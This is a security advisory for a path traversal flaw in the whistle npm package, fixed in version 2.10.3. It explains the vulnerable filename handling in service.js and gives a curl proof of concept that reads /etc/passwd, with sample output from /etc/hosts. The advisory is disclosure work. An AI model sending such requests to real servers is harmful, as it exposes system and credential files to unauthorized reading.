GHSA-3vfr-4gwf-qxfp
Whistle vulnerable to path traversal
Quick fix
GHSA-3vfr-4gwf-qxfp — whistle: upgrade to the fixed version with the command below.
npm install whistle@2.10.3Details
This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.
**Vulnerability detail**:
In service.js, inside `app.get('/cgi-bin/temp/get', ...): var filename = req.query.filename; if (TEMP_FILE_RE.test(filename)) { filename = path.join(TEMP_FILES_PATH, filename); } getFile(filename, ...);`
Only when filename matches the temp/<hash> pattern does it get joined to the safe directory TEMP_FILES_PATH.
If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.
In other words: if you pass passwd, it will read passwd.
**POC**: curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd"
**response**:
``` sh xiaoming@192 ~ % curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts" {"ec":0,"value":"##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1 localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1 proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\n127.0.0.1\tlocalhost.sangfor.com.cn\n\n"}% ```
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References
- https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-55629[ADVISORY]
- https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5[WEB]
- https://github.com/avwo/whistle[PACKAGE]
- http://github.com/avwo/whistle/releases/tag/v2.10.3[WEB]